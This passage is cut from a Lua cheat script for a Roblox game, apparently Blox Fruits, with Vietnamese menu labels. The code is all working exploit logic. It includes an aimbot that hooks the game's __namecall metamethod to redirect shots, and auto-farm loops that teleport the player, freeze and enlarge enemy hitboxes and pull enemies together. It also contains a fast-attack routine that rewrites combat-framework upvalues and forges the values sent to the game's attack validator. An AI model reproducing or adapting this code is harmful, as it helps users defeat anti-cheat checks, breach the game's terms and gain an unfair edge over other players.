[1] = v.HumanoidRootPart.Position,

[2] = v.HumanoidRootPart

}

game:GetService("Players").LocalPlayer.Character[SelectToolWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))

end

end

end)

end

end)

end)

local lp = game:GetService('Players').LocalPlayer

local mouse = lp:GetMouse()

spawn(function()

while wait() do

if \_G.Aimbot\_Skill\_Fov then

pcall(function()

local MaxDist, Closest = math.huge

for i,v in pairs(game:GetService("Players"):GetChildren()) do

local Head = v.Character:FindFirstChild("HumanoidRootPart")

local Pos, Vis = game.Workspace.CurrentCamera.WorldToScreenPoint(game.Workspace.CurrentCamera, Head.Position)

local MousePos, TheirPos = Vector2.new(mouse.X, mouse.Y), Vector2.new(Pos.X, Pos.Y)

local Dist = (TheirPos - MousePos).Magnitude

if Dist < MaxDist and Dist <= \_G.Select\_Size\_Fov and v.Name ~= game.Players.LocalPlayer.Name then

MaxDist = Dist

\_G.Aim\_Players = v

end

end

end)

end

end

end)

spawn(function()

local gg = getrawmetatable(game)

local old = gg.\_\_namecall

setreadonly(gg,false)

gg.\_\_namecall = newcclosure(function(...)

local method = getnamecallmethod()

local args = {...}

if tostring(method) == "FireServer" then

if tostring(args[1]) == "RemoteEvent" then

if tostring(args[2]) ~= "true" and tostring(args[2]) ~= "false" then

if \_G.Aimbot\_Skill\_Fov then

args[2] = \_G.Aim\_Players.Character.HumanoidRootPart.Position

return old(unpack(args))

end

end

end

end

return old(...)

end)

end)

--------------------------------------------------------------------

local Library = Update:Window("Master","")

------------------------------------------

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Farm\_Ectoplasm and StartMagnetEctoplasm and string.find(v.Name, "Ship") and (v.HumanoidRootPart.Position - PosMonEctoplasm.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonEctoplasm

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.Auto\_Farm\_Ectoplasm then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Ship Deckhand [Lv. 1250]") or game:GetService("Workspace").Enemies:FindFirstChild("Ship Engineer [Lv. 1275]") or game:GetService("Workspace").Enemies:FindFirstChild("Ship Steward [Lv. 1300]") or game:GetService("Workspace").Enemies:FindFirstChild("Ship Officer [Lv. 1325]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if string.find(v.Name, "Ship") then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

PosMonEctoplasm = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

StartMagnetEctoplasm = true

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Farm\_Ectoplasm == false or not v.Parent or v.Humanoid.Health <= 0

StartMagnetEctoplasm = false

else

StartMagnetEctoplasm = false

topos(CFrame.new(904.4072265625, 181.05767822266, 33341.38671875))

end

end

else

StartMagnetEctoplasm = false

local Distance = (Vector3.new(904.4072265625, 181.05767822266, 33341.38671875) - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude

if Distance > 20000 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("requestEntrance",Vector3.new(923.21252441406, 126.9760055542, 32852.83203125))

end

topos(CFrame.new(904.4072265625, 181.05767822266, 33341.38671875))

end

end)

end

end

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Farm\_Bone and StartMagnetBoneMon and (v.Name == "Reborn Skeleton [Lv. 1975]" or v.Name == "Living Zombie [Lv. 2000]" or v.Name == "Demonic Soul [Lv. 2025]" or v.Name == "Posessed Mummy [Lv. 2050]") and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.Auto\_Farm\_Bone and World3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Reborn Skeleton [Lv. 1975]") or game:GetService("Workspace").Enemies:FindFirstChild("Living Zombie [Lv. 2000]") or game:GetService("Workspace").Enemies:FindFirstChild("Domenic Soul [Lv. 2025]") or game:GetService("Workspace").Enemies:FindFirstChild("Posessed Mummy [Lv. 2050]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Reborn Skeleton [Lv. 1975]" or v.Name == "Living Zombie [Lv. 2000]" or v.Name == "Demonic Soul [Lv. 2025]" or v.Name == "Posessed Mummy [Lv. 2050]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Farm\_Bone == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Reborn Skeleton [Lv. 1975]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Living Zombie [Lv. 2000]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Demonic Soul [Lv. 2025]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Posessed Mummy [Lv. 2050]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-9466.72949, 171.162918, 6132.01514))

end

end)

end

end

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function() CheckQuest()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Farm\_Level and MasteryBFStartMagnetActive and v.Name == Ms and (v.HumanoidRootPart.Position - PosMonMasteryFruit.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonMasteryFruit

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function() CheckQuest()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Farm\_Level and MasteryGunStartMagnetActive and v.Name == Ms and (v.HumanoidRootPart.Position - PosMonMasteryGun.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonMasteryGun

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.Auto\_Farm\_Level then

if \_G.Select\_Mode\_Farm == "Farm Theo Lever" then

pcall(function()

if not string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then

StartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

StartMagnet = false

CheckQuest()

repeat wait() topos(CFrameQuest) until (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.Auto\_Farm\_Level

if (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then

wait(1.2)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest",NameQuest,LevelQuest)

wait(0.5)

end

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

CheckQuest()

if game:GetService("Workspace").Enemies:FindFirstChild(Ms) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if v.Name == Ms then

repeat wait()

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then

EquipWeapon(\_G.Select\_Weapon)

AutoHaki()

PosMon = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.Head.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

StartMagnet = true

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

else

StartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

until not \_G.Auto\_Farm\_Level or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

end

else

StartMagnet = false

if game:GetService("ReplicatedStorage"):FindFirstChild(Ms) then

topos(game:GetService("ReplicatedStorage"):FindFirstChild(Ms).HumanoidRootPart.CFrame \* CFrame.new(0,20,0))

else

topos(CFrameMon)

end

end

end

end)

elseif \_G.Select\_Mode\_Farm == "Farm speed" then

pcall(function()

if game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT then

if not string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then

StartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

StartMagnet = false

CheckQuest()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest",NameQuest,LevelQuest)

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

CheckQuest()

if game:GetService("Workspace").Enemies:FindFirstChild(Ms) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if v.Name == Ms then

repeat wait()

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then

EquipWeapon(\_G.Select\_Weapon)

AutoHaki()

PosMon = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.Head.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

StartMagnet = true

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

else

StartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

until not \_G.Auto\_Farm\_Level or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

end

end

end

else

StartMagnet = false

if game:GetService("ReplicatedStorage"):FindFirstChild(Ms) then

topos(game:GetService("ReplicatedStorage"):FindFirstChild(Ms).HumanoidRootPart.CFrame \* CFrame.new(0,20,0))

else

topos(CFrameMon)

end

end

end

else

repeat task.wait()

game.Players.LocalPlayer.Character.Head:Destroy()

wait(0.5)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrameQuest

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

until game:GetService("Players").LocalPlayer.Data.SpawnPoint.Value == SPAWNPOINT

end

end)

elseif \_G.Select\_Mode\_Farm == "Farm Không Nhiệm Vụ" then

pcall(function()

CheckQuest()

if game:GetService("Workspace").Enemies:FindFirstChild(Ms) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if v.Name == Ms then

if v.Humanoid.Health > 0 then

repeat wait()

EquipWeapon(\_G.Select\_Weapon)

AutoHaki()

PosMon = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.Head.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

StartMagnet = true

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until not \_G.Auto\_Farm\_Level or v.Humanoid.Health <= 0 or not v.Parent

end

end

end

end

else

StartMagnet = false

if game:GetService("ReplicatedStorage"):FindFirstChild(Ms) then

topos(game:GetService("ReplicatedStorage"):FindFirstChild(Ms).HumanoidRootPart.CFrame \* CFrame.new(0,20,0))

else

topos(CFrameMon)

end

end

end)

elseif \_G.Select\_Mode\_Farm == "Farm Gần nhất" then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name and v:FindFirstChild("Humanoid") then

if v.Humanoid.Health > 0 then

repeat game:GetService("RunService").Heartbeat:wait()

EquipWeapon(\_G.Select\_Weapon)

if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then

local args = {

[1] = "Buso"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

PosMon = v.HumanoidRootPart.CFrame

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.Head.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

StartMagnet = false

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

StartMagnet = true

PosMon = v.HumanoidRootPart.CFrame

until not \_G.Auto\_Farm\_Level or not v.Parent or v.Humanoid.Health == 0 or not game.Workspace.Enemies:FindFirstChild(v.Name)

end

end

end

end

end

end

end)

spawn(function()

while wait() do

if \_G.Auto\_New\_World then

pcall(function()

if game.Players.LocalPlayer.Data.Level.Value >= 700 and World1 then

\_G.Auto\_Farm\_Level = false

if game.Workspace.Map.Ice.Door.CanCollide == true and game.Workspace.Map.Ice.Door.Transparency == 0 then

repeat wait() topos(CFrame.new(4851.8720703125, 5.6514348983765, 718.47094726563)) until (CFrame.new(4851.8720703125, 5.6514348983765, 718.47094726563).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.Auto\_New\_World

wait(1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("DressrosaQuestProgress","Detective")

EquipWeapon("Key")

local pos2 = CFrame.new(1347.7124, 37.3751602, -1325.6488)

repeat wait() topos(pos2) until (pos2.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.Auto\_New\_World

wait(3)

elseif game.Workspace.Map.Ice.Door.CanCollide == false and game.Workspace.Map.Ice.Door.Transparency == 1 then

if game:GetService("Workspace").Enemies:FindFirstChild("Ice Admiral [Lv. 700] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Ice Admiral [Lv. 700] [Boss]" and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.Transparency = 1

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService("VirtualUser"):CaptureController()

game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 870),workspace.CurrentCamera.CFrame)

until v.Humanoid.Health <= 0 or not v.Parent or not \_G.Auto\_New\_World

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("TravelDressrosa")

end

end

else

topos(CFrame.new(1347.7124, 37.3751602, -1325.6488))

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("TravelDressrosa")

end

end

end)

end

end

end)

spawn(function()

while wait() do

if \_G.Auto\_Third\_World then

pcall(function()

if game:GetService("Players").LocalPlayer.Data.Level.Value >= 1500 and World2 then

\_G.Auto\_Farm\_Level = false

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("QuestProgress","Check") == 0 then

topos(CFrame.new(-1926.3221435547, 12.819851875305, 1738.3092041016))

if (CFrame.new(-1926.3221435547, 12.819851875305, 1738.3092041016).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10 then

wait(1.5)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("QuestProgress","Begin")

end

wait(1.8)

if game:GetService("Workspace").Enemies:FindFirstChild("rip\_indra [Lv. 1500] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "rip\_indra [Lv. 1500] [Boss]" then

OldCFrameThird = v.HumanoidRootPart.CFrame

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CFrame = OldCFrameThird

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("TravelZou")

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Third\_World == false or v.Humanoid.Health <= 0 or not v.Parent

end

end

elseif not game:GetService("Workspace").Enemies:FindFirstChild("rip\_indra [Lv. 1500] [Boss]") and (CFrame.new(-26880.93359375, 22.848554611206, 473.18951416016).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1000 then

topos(CFrame.new(-26880.93359375, 22.848554611206, 473.18951416016))

end

end

end

end)

end

end

end)

--------------------------

local Main = Library:Tab("Main","rbxassetid://11446825283")

local Weapon = Library:Tab("Weapons","rbxassetid://11446859498")

local Race = Library:Tab("Race V4","rbxassetid://11447069304")

--local Stats = Library:Tab("Stats","rbxassetid://11447069304")

local P = Library:Tab("Player","rbxassetid://11446900930")

local Teleport = Library:Tab("Teleport","rbxassetid://11446920523")

local Dungeon = Library:Tab("Dungeon","rbxassetid://11446957539")

local DevilFruit = Library:Tab("Fruit+Esp","rbxassetid://11446965348")

local Shop = Library:Tab("Shop","rbxassetid://6031265976")

local Misc = Library:Tab("Misc","rbxassetid://11447063791")

--local Op = Library:Tab("Status", "rbxassetid://7040410130")

local Setting = Library:Tab("Settings","rbxassetid://11446835336")

--------------------------------------------------------------------

Setting:Label("Hãy Cày Thuê")

Setting:Line()

Setting:Button("Sao Chép Link Facebook",function()

setclipboard("https://www.facebook.com/asukanaken")

DiscordLib:Notification("Thông Báo" , "Đã Sao Chép Link Facebook" , 10 ,11816162894 )

end)

Setting:Seperator(" Setting ")

Setting:Toggle("Auto Set Spawn Points",true,function(value)

\_G.AutoSetSpawn = value

end)

spawn(function()

pcall(function()

while wait() do

if \_G.AutoSetSpawn then

if game:GetService("Players").LocalPlayer.Character.Humanoid.Health > 0 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SetSpawnPoint")

end

end

end

end)

end)

Setting:Toggle("Anti AFK",true,function(value)

\_G.AFK = value

end)

if not game:GetService("UserInputService").TouchEnabled and not game:GetService("UserInputService").KeyboardEnabled == false then

\_G.DistanceMob = 25

Setting:Slider("Farm Distance",1,100,25,function(value)

\_G.DistanceMob = value

end)

else

\_G.DistanceMob = 25

Setting:Slider1("Farm Distance",1,100,25,function(value)

\_G.DistanceMob = value

end)

end

Setting:Dropdown("Select Farm Method", {

"Behind","Below","Upper"

},function(value)

\_G.Method = value

end)

spawn(function()

while wait() do

pcall(function()

if \_G.Method == "Behind" then

MethodFarm = CFrame.new(0,0,\_G.DistanceMob)

elseif \_G.Method == "Below" then

MethodFarm = CFrame.new(0,-\_G.DistanceMob,0) \* CFrame.Angles(math.rad(90),0,0)

elseif \_G.Method == "Upper" then

MethodFarm = CFrame.new(0,\_G.DistanceMob,0) \* CFrame.Angles(math.rad(-90),0,0)

else

MethodFarm = CFrame.new(0,\_G.DistanceMob,0)

end

end)

end

end)

spawn(function()

while task.wait() do

pcall(function()

if StartMagnet then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Ms and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 350 then

v.Humanoid.WalkSpeed = 0

v.Humanoid.JumpPower = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = FarmPos

if v.Humanoid:FindFirstChild('Animator') then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end

end)

end

end)

spawn(function()

while task.wait() do

pcall(function()

if \_G.AutoFarmSelectMonster then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Mon and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 350 then

v.Humanoid.WalkSpeed = 0

v.Humanoid.JumpPower = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = FarmPos

if v.Humanoid:FindFirstChild('Animator') then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end

end)

end

end)

spawn(function()

while task.wait() do

pcall(function()

if SelectMonsterMagnet then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Mon and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 350 then

v.Humanoid.WalkSpeed = 0

v.Humanoid.JumpPower = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = FarmPos

if v.Humanoid:FindFirstChild('Animator') then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end

end)

end

end)

spawn(function()

while task.wait() do

pcall(function()

if \_G.Auto\_Farm\_Level and \_G.Select\_Mode\_Farm == "Farm Gần nhất" then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Ms and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 350 then

v.Humanoid.WalkSpeed = 0

v.Humanoid.JumpPower = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = FarmPos

if v.Humanoid:FindFirstChild('Animator') then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end

end)

end

end)

spawn(function()

while task.wait() do

pcall(function()

if StartMagnet then

for i,v in pairs(game.Workspace.Enemies:GetDescendants()) do

if v:IsA('Part') and v:IsA('MeshPart') then

v.Transparency = 1

end

end

end

end)

end

end)

if game:GetService("ReplicatedStorage").Effect.Container:FindFirstChild("Death") then

game:GetService("ReplicatedStorage").Effect.Container.Death:Destroy()

end

if game:GetService("ReplicatedStorage").Effect.Container:FindFirstChild("Respawn") then

game:GetService("ReplicatedStorage").Effect.Container.Respawn:Destroy()

end

Setting:Toggle("Bring Mob [Normal]",true,function(value)

\_G.BringNormal = value

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function() CheckQuest()

pcall(function()

if \_G.BringNormal then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Farm\_Level and StartMagnet and v.Name == Ms and (v.HumanoidRootPart.Position - PosMon.Position).magnitude <= 250 then

v.HumanoidRootPart.CFrame = PosMon

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end

end)

end)

end)

Setting:Toggle("Bring Mob [Extra+Lag]",false,function(value)

\_G.BringExtra = value

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function() CheckQuest()

pcall(function()

if \_G.BringExtra then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Farm\_Level and StartMagnet and v.Name ~= "Ice Admiral [Lv. 700] [Boss]" and v.Name ~= "Don Swan [Lv. 3000] [Boss]" and v.Name ~= "Saber Expert [Lv. 200] [Boss]" and v.Name ~= "Longma [Lv. 2000] [Boss]" and (v.HumanoidRootPart.Position - PosMon.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMon

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end

end)

end)

end)

Setting:Toggle("Slow Attack",false,function(value)

\_G.FastAttack1 = value

if value then

Attack1Function()

end

end)

require(game.ReplicatedStorage.Util.CameraShaker):Stop()

xShadowFastAttackx = require(game:GetService("Players").LocalPlayer.PlayerScripts.CombatFramework)

xShadowx = debug.getupvalues(xShadowFastAttackx)[2]

spawn(function()

game:GetService("RunService").RenderStepped:Connect(function()

if \_G.FastAttack then

if typeof(xShadowx) == "table" then

pcall(function()

xShadowx.activeController.timeToNextAttack = (math.huge^math.huge^math.huge)

xShadowx.activeController.timeToNextAttack = 0

xShadowx.activeController.hitboxMagnitude = 200

xShadowx.activeController.active = false

xShadowx.activeController.timeToNextBlock = 0

xShadowx.activeController.focusStart = 0

xShadowx.activeController.increment = 4

xShadowx.activeController.blocking = false

xShadowx.activeController.attacking = false

xShadowx.activeController.humanoid.AutoRotate = 50

end)

end

end

end)

end)

Setting:Toggle("Click 0 Giây",nil,function(value)

local SuperFastMode1 = value -- เปลี่ยนเป็นจริงถ้าคุณต้องการโจมตี Super Super Super Fast (เช่นการฆ่าทันที) แต่จะทำให้เกมเตะคุณมากกว่าโหมดปกติ

\_G.aothatday1 = value

local plr = game.Players.LocalPlayer

local CbFw = debug.getupvalues(require(plr.PlayerScripts.CombatFramework))

local CbFw2 = CbFw[2]

function GetCurrentBlade()

local p13 = CbFw2.activeController

local ret = p13.blades[1]

if not ret then return end

while ret.Parent~=game.Players.LocalPlayer.Character do ret=ret.Parent end

return ret

end

function AttackNoCD()

local AC = CbFw2.activeController

for i = 1, 1 do

local bladehit = require(game.ReplicatedStorage.CombatFramework.RigLib).getBladeHits(

plr.Character,

{plr.Character.HumanoidRootPart},

60

)

local cac = {}

local hash = {}

for k, v in pairs(bladehit) do

if v.Parent:FindFirstChild("HumanoidRootPart") and not hash[v.Parent] then

table.insert(cac, v.Parent.HumanoidRootPart)

hash[v.Parent] = true

end

end

bladehit = cac

if #bladehit > 0 then

local u8 = debug.getupvalue(AC.attack, 5)

local u9 = debug.getupvalue(AC.attack, 6)

local u7 = debug.getupvalue(AC.attack, 4)

local u10 = debug.getupvalue(AC.attack, 7)

local u12 = (u8 \* 798405 + u7 \* 727595) % u9

local u13 = u7 \* 798405

(function()

u12 = (u12 \* u9 + u13) % 1099511627776

u8 = math.floor(u12 / u9)

u7 = u12 - u8 \* u9

end)()

u10 = u10 + 1

debug.setupvalue(AC.attack, 5, u8)

debug.setupvalue(AC.attack, 6, u9)

debug.setupvalue(AC.attack, 4, u7)

debug.setupvalue(AC.attack, 7, u10)

pcall(function()

for k, v in pairs(AC.animator.anims.basic) do

v:Play()

end

end)

if plr.Character:FindFirstChildOfClass("Tool") and AC.blades and AC.blades[1] then

game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("weaponChange",tostring(GetCurrentBlade()))

game.ReplicatedStorage.Remotes.Validator:FireServer(math.floor(u12 / 1099511627776 \* 16777215), u10)

game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("hit", bladehit, i, "")

end

end

end

end

local cac

if SuperFastMode1 then

cac=task.wait

else

cac=wait

end

while cac() do

AttackNoCD()

end

end)

